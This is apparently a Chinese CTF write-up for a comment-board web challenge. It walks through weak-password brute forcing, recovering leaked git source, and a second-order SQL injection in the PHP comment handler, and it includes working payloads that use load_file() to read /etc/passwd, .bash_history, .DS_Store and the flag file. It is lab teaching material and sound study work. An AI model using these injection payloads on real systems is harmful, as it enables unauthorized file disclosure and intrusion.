如标题所见,评论区触发
1.弱密码爆破
2.git源码泄露+恢复
git log --reflog
git reset --hard 第一个版本ID
拿到完整源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
传入的参数都进行了addslashes
转义
关键代码:
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
3.二次注入
case 'comment':
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
mysql_fetch_array直接调用category,造成二次注入。
思路:
在categoryt处填写123',content=user(),/*
拼接
在comment处*/#
注释
效果:
insert into comment
set category = ' 123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
load_file()读取文件
123',content=(select( load_file('/etc/passwd'))),/*
意看到/home/www下以bash身份运行
查看使用过的系统命令
123',content=(select(load_file("/home/www/.bash_history"))),/*
发现.DS.Store文件
尝试读取
123',content=(select(load_file("/tmp/html/.DS_Store"))),/*
似乎不完整
尝试hex 十六进制读取
123',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
转换
获取flag_8946e1ff1ee3e40f.php,记得加上路径
路径/tmp/html/ 是假flag
123',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
真flag在/var/www/html
123',content=(select(load_file("var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
因为直接获取不了,需要hex再str
知识点记录:
SQL读取文件
用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
.bash_history
.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。
.DS_Store文件泄露
文件泄露,有一个下载至本地的脚本,不过这题用不上。